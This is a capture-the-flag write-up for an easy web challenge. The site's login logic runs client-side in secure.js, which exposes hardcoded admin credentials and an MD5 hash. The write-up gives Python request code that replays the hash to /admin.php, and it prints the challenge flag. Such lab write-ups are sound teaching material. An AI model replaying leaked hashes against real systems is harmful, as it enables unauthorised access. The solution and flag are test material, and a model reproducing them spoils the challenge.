Category: Web Exploitation
Difficulty: Easy
Points: 100
Description
A login page is presented. The authentication logic is handled client-side via a JavaScript file that the server exposes publicly.
Overview
- The server delegates all credential checking to a JavaScript file (
secure.js) served alongside the login page. - That file contains hardcoded credentials and a pre-computed MD5 hash.
- The
/admin.phpendpoint accepts that hash directly, completely bypassing the login form.
Solution
Step 1: Trigger the Login Page
- Submitting any credentials causes the server to return the authenticated page with a
<script>tag pointing tosecure.js.
r = requests.post(url + "/login.php", data={"username": "test", "password": "test", "login": ""})
src = soup.find("script").attrs["src"]
Step 2: Download and Read secure.js
- Fetching the script URL reveals the hardcoded admin credentials and a pre-computed MD5 hash.
r = requests.get(url + f"/{src}")
# Contents include:
# username = "admin"
# password = "strongPassword098765"
# hash = "2196812e91c29df34f5e217cfd639881"
- The MD5 hash is the hash of the password, computed client-side before being sent to the server.
Step 3: POST the Hash Directly to /admin.php
- The server checks only the submitted hash, not where it came from.
- Sending the pre-computed hash directly skips the login form entirely.
r = requests.post(url + "/admin.php", data={"hash": "2196812e91c29df34f5e217cfd639881"})
Why This Is Broken
- Client-side credential validation is always reversible: anyone can read the JavaScript source.
- Even if the password were not visible in plaintext, the pre-computed hash can be replayed directly.
- Authentication logic must live on the server, where the client cannot inspect it.
Flag
picoCTF{j5_15_7r4n5p4r3n7_a8788e61}